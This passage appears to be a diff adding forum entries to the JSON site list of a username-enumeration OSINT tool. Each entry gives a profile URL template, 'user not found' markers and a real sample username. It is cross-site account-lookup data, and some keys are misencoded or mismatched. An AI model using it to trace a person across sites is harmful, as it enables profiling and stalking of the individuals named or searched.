"Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://siemens-town.my1.ru/index/8-0-{}", + "urlMain": "https://siemens-town.my1.ru", + "usernameON": "pomoshigorigor", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sierraclubspb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://sierraclubspb.borda.ru/?32-{}", + "urlMain": "https://sierraclubspb.borda.ru", + "usernameON": "truevalve", + "bad_site": "" + }, + "Forum_sierrawireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.sierrawireless.com/u/{}/summary", + "urlMain": "https://forum.sierrawireless.com", + "usernameON": "guigui", + "bad_site": "" + }, + "Forum_sigerous": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sigerous.ru/index/8-0-{}", + "urlMain": "http://sigerous.ru", + "usernameON": "repteloid1111", + "bad_site": "" + }, + "Forum_silveradosierra": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradosierra.com/members/?username={}", + "urlMain": "https://www.silveradosierra.com", + "usernameON": "babock58", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silverstream": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Результатов поиска нет", + "errorMsg3": "Cloudflare", + "errorTyp��": "message", + "url": "https://f.simpleminecraft.ru/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://f.simpleminecraft.ru", + "usernameON": "delars", + "bad_site": "" + }, + "Forum_simracing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://forum.simracing.su/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.simracing.su", + "usernameON": "veter", + "bad_site": "" + }, + "Forum_sims3game": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sims3game.ucoz.ru/index/8-0-{}", + "urlMain": "https://sims3game.ucoz.ru", + "usernameON": "reveille", + "bad_site": "" + }, + "Forum_singaporebrides": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://singaporebrides.com/weddingforum/members/?username={}", + "urlMain": "https://singaporebrides.com", + "usernameON": "buzz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sitepoint": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\\"posts\\":[],\\"users\\":[],", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sitepoint.com/community/search?context=topic&q={}&search_type=users&skip_context=true", + "urlMain": "https://www.sitepoint.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_sivatherium": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://skachat-warcraft-3.ru/index/8-0-{}", + "urlMain": "https://skachat-warcraft-3.ru", + "usernameON": "Grandar", + "bad_site": "" + }, + "Forum_skateclass": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://sokrovische.ucoz.ru/index/8-0-{}", + "urlMain": "https://sokrovische.ucoz.ru", + "usernameON": "Visondela", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solana": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.solana.com/u/{}/summary", + "urlMain": "https://forum.solana.com", + "usernameON": "ilian", + "bad_site": "" + }, + "Forum_soligorsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soligorsk-info.ucoz.com/index/8-0-{}", + "urlMain": "https://soligorsk-info.ucoz.com", + "usernameON": "andydudyk", + "bad_site": "" + }, + "Forum_solikamsk1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://solikamsk1.ucoz.org/index/8-0-{}", + "urlMain": "https://solikamsk1.ucoz.org", + "usernameON": "Openair", + "bad_site": "" + }, + "Forum_solnechnyi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solnechnyi.ucoz.ru/index/8-0-{}", + "urlMain": "https://solnechnyi.ucoz.ru", + "usernameON": "eameln07", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solonkino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solonkino.3dn.ru/index/8-0-{}", + "urlMain": "https://solonkino.3dn.ru", + "usernameON": "tasya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solotouch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.solotouch.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.solotouch.com/", + "usernameON": "rosco1", + "bad_site": "" + }, + "Forum_solstar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://solstar.ru/index/8-0-{}", + "urlMain": "http://solstar.ru", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_sonexbuilders": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sonexbuilders.net/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sonexbuilders.net", + "usernameON": "lakespookie", + "bad_site": "" + }, + "Forum_sony127": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sony127.3dn.ru/index/8-0-{}", + "urlMain": "https://sony127.3dn.ru", + "usernameON": "htaletuauo", + "bad_site": "" + }, + "Forum_sonyalpha": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 Ergebnisse", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sonyalphaforum.de/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.sonyalphaforum.de", + "usernameON": "ger100", + "bad_site": "" + }, + "Forum_sonycam": { + "country": "🇪🇸", + "country_klas": "ES", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sonycam.es/foro/members/?username={}", + "urlMain": "https://www.sonycam.es", + "usernameON": "dano", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_soslujivzi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soslujivzi.ru/index/8-0-{}", + "urlMain": "https://soslujivzi.ru", + "usernameON": "bazy", + "bad_site": "" + }, + "Forum_sosuave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sosuave.net/forum/members/?username={}", + "urlMain": "https://www.sosuave.net", + "usernameON": "theprospect", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sourcepython": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.sourcepython.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sourcepython.com/", + "usernameON": "Mahi", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_south-tm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://south-tm.clan.su/index/8-0-{}", + "urlMain": "http://south-tm.clan.su", + "usernameON": "Shchedrovnops", + "bad_site": "" + }, + "Forum_sovet-miliziy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sovet-miliziy.narod.ru/index/8-0-{}", + "urlMain": "http://sovet-miliziy.narod.ru", + "usernameON": "Евпатий", + "bad_site": "" + }, + "Forum_sovetskoye": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sovetskoye.ucoz.ru/index/8-0-{}", + "urlMain": "https://sovetskoye.ucoz.ru", + "usernameON": "VikingRUS", + "bad_site": "" + }, + "Forum_sovgavan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://www.sovgavan.ru/index/8-0-{}", + "urlMain": "http://www.sovgavan.ru", + "usernameON": "Titana", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sovpl": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://soyuz-pisatelei.ru/index/8-0-{}", + "urlMain": "https://soyuz-pisatelei.ru", + "usernameON": "Litvin", + "bad_site": "" + }, + "Forum_space": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.space.com/members/?username={}", + "urlMain": "https://forums.space.com", + "usernameON": "helio", + "comments": "Archive", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spacebattles": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.spacebattles.com/members/?username={}", + "urlMain": "https://forums.spacebattles.com", + "usernameON": "lt_ryguy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spanielclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://spanielclub.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://spanielclub.kamrbb.ru", + "usernameON": "kertezayde", + "bad_site": "" + }, + "Forum_spchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spchat.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spchat.ru", + "usernameON": "Taniar", + "bad_site": "" + }, + "Forum_spdonetsk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://spdonetsk.ucoz.ua/index/8-0-{}", + "urlMain": "https://spdonetsk.ucoz.ua", + "usernameON": "Alazany", + "bad_site": "" + }, + "Forum_speakev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.speakev.com/members/?username={}", + "urlMain": "https://www.speakev.com", + "usernameON": "nickkk32", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specialstage": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specialstage.com/members/?username={}", + "urlMain": "https://www.specialstage.com", + "usernameON": "ssadmin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specktra": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specktra.net/members/?username={}", + "urlMain": "https://www.specktra.net", + "usernameON": "shellygrrl", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spellbinder": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spellbinder.tv/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spellbinder.tv", + "usernameON": "vov2302", + "bad_site": "" + }, + "Forum_spiceworks": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/u/{}", + "urlMain": "https://community.spiceworks.com", + "usernameON": "hulksmash72", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_spinningist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.spinningist.com/index/8-0-{}", + "urlMain": "http://www.spinningist.com", + "usernameON": "Nux", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_spitz-dog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://spitz-dog.ucoz.ru/index/8-0-{}", + "urlMain": "http://spitz-dog.ucoz.ru", + "usernameON": "hieswivay", + "bad_site": "" + }, + "Forum_spoiledmaltese": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spoiledmaltese.com/members/?username={}", + "urlMain": "https://www.spoiledmaltese.com", + "usernameON": "duncanweishaar093", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_spolo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sporeland.ru/index/8-0-{}", + "urlMain": "https://sporeland.ru/", + "usernameON": "ms_Zeys", + "bad_site": "" + }, + "Forum_sport_f": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sport-forums.com/members/?username={}", + "urlMain": "https://www.sport-forums.com", + "usernameON": "bascampt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sportgymnastic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sputnikkey.ru/index/8-0-{}", + "urlMain": "http://sputnikkey.ru", + "usernameON": "alexstvpr", + "bad_site": "" + }, + "Forum_spyro-realms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.spyro-realms.com/index/8-0-{}", + "urlMain": "https://www.spyro-realms.com", + "usernameON": "ftaletoxrf", + "bad_site": "" + }, + "Forum_sqlteam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.sqlteam.com/u/{}/summary", + "urlMain": "https://forums.sqlteam.com", + "usernameON": "waterduck", + "bad_site": "" + }, + "Forum_squarespace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Found 0 results", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svet-unlimited.ucoz.ru/index/8-0-{}", + "urlMain": "https://svet-unlimited.ucoz.ru", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_svobodavnutri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svobodavnutri.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://svobodavnutri.kamrbb.ru", + "usernameON": "lurdopufye", + "bad_site": "" + }, + "Forum_svoystyle": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svoystyle.ucoz.ru/index/8-0-{}", + "urlMain": "https://svoystyle.ucoz.ru/", + "usernameON": "isaeva3", + "bad_site": "" + }, + "Forum_svstrazh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svstrazh.forum24.ru/?32-{}", + "urlMain": "https://svstrazh.forum24.ru", + "usernameON": "blagimip", + "bad_site": "" + }, + "Forum_svstudio": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svstudio.ucoz.ru/index/8-0-{}", + "urlMain": "https://svstudio.ucoz.ru/", + "usernameON": "sunkid", + "bad_site": "" + }, + "Forum_svvptau": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svvptau.borda.ru/?32-{}", + "urlMain": "https://svvptau.borda.ru", + "usernameON": "sops", + "bad_site": "" + }, + "Forum_swedespeed": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "url": "https://www.swedespeed.com/members/?username={}", + "urlMain": "https://www.swedespeed.com", + "usernameON": "stewart13", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_swift": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "posts\\":[],\\"users\\", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.swift.org/search?q={}&search_type=users", + "urlMain": "https://forums.swift.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_swiftbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.swiftbook.ru/u/{}/summary", + "urlMain": "https://forum.swiftbook.ru", + "usernameON": "green", + "comments": "bad", + "bad_site": 1 + }, + "Forum_swleague": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.swleague.ru/index/8-0-{}", + "urlMain": "http://www.swleague.ru", + "usernameON": "rtalethabg", + "bad_site": "" + }, + "Forum_swoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://swoy.ucoz.ru/index/8-0-{}", + "urlMain": "https://swoy.ucoz.ru", + "usernameON": "Tampy", + "bad_site": "" + }, + "Forum_symerechnaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://symerechnaya.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://symerechnaya.kamrbb.ru/", + "usernameON": "jelmafesti", + "bad_site": "" + }, + "Forum_synfig": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.synfig.org/u/{}/summary", + "urlMain": "https://forums.synfig.org", + "usernameON": "weranimators", + "bad_site": "" + }, + "Forum_synwrite_sourceforge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://synwrite.sourceforge.net/forums/search.php?keywords=&terms=all&author={}", + "urlMain": "https://synwrite.sourceforge.net/", + "usernameON": "SamC", + "bad_site": "" + }, + "Forum_sys-adm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.sys-adm.in/u/{}", + "urlMain": "https://forum.sys-adm.in", + "usernameON": "sysadmin", + "bad_site": 1 + }, + "Forum_szaokprf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://szaokprf.ucoz.ru/index/8-0-{}", + "urlMain": "https://szaokprf.ucoz.ru", + "usernameON": "sapsap", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tachograph": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "urlMain": "http://tachograph.ucoz.ru", + "usernameON": "zokfada", + "bad_site": "" + }, + "Forum_tacticalwargames": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tacticalwargames.net/taccmd/memberlist.php?username={}", + "urlMain": "https://www.tacticalwargames.net", + "usernameON": "MephistonAG", + "bad_site": "" + }, + "Forum_taek": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taek.3dn.ru/index/8-0-{}", + "urlMain": "https://taek.3dn.ru/", + "usernameON": "provzlom", + "bad_site": "" + }, + "Forum_taganrog-stop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taganrog-stop.clan.su/index/8-0-{}", + "urlMain": "https://taganrog-stop.clan.su", + "usernameON": "avtoritetniy", + "bad_site": "" + }, + "Forum_tagheuer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tagheuerforums.com/members/?username={}", + "urlMain": "https://tagheuerforums.com", + "usernameON": "hubert", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tagilshops": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://taipaqi.moy.su/index/8-0-{}", + "urlMain": "https://taipaqi.moy.su", + "usernameON": "lotly", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taksafonchik": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tambov.clan.su/index/8-0-{}", + "urlMain": "https://tambov.clan.su", + "usernameON": "Xando", + "bad_site": "" + }, + "Forum_tanki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Что-то пошло не так", + "errorTyp��": "message", + "url": "https://ru.tankiforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ru.tankiforum.com", + "usernameON": "anmo", + "bad_site": "" + }, + "Forum_tanknet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.tanknet.org/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.tanknet.org", + "usernameON": "bojan", + "bad_site": "" + }, + "Forum_taragorod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taragorod.ru/index/8-0-{}", + "urlMain": "https://taragorod.ru", + "usernameON": "unlockserver", + "bad_site": "" + }, + "Forum_tarjaturunen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tarjaturunen.ucoz.ru/index/8-0-{}", + "urlMain": "https://tarjaturunen.ucoz.ru", + "usernameON": "timoxa", + "bad_site": "" + }, + "Forum_taro": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.taro.lv/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.taro.lv", + "usernameON": "Cha", + "bad_site": "" + }, + "Forum_tarokus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tarokus.ru/index/8-0-{}", + "urlMain": "http://tarokus.ru", + "usernameON": "pridorozhniy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_tarot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://tarot.my1.ru/index/8-0-{}", + "urlMain": "http://tarot.my1.ru", + "usernameON": "seklimqwdal", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tarot-siberia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://tarot-siberia.ru/index/8-0-{}", + "urlMain": "https://tarot-siberia.ru", + "usernameON": "Lila", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taruska": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.taruska.ru/index/8-0-{}", + "urlMain": "http://www.taruska.ru", + "usernameON": "kuhni30", + "bad_site": "" + }, + "Forum_tatfish": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tatfish.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tatfish.com", + "usernameON": "Krilov", + "bad_site": "" + }, + "Forum_tathunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tathunter.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tathunter.ru", + "usernameON": "ramon", + "bad_site": "" + }, + "Forum_tattle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tattle.life/members/?username={}", + "urlMain": "https://tattle.life", + "usernameON": "chita", + "bad_site": "" + }, + "Forum_tauck": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.tauck.com/profile/{}", + "urlMain": "https://forums.tauck.com", + "usernameON": "billzappa", + "bad_site": "" + }, + "Forum_taycan": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanforum.com/forum/members/?username={}", + "urlMain": "https://www.taycanforum.com", + "usernameON": "f1eng", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_taycanev": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanevforum.com/members/?username={}", + "urlMain": "https://www.taycanevforum.com", + "usernameON": "hz1946", + 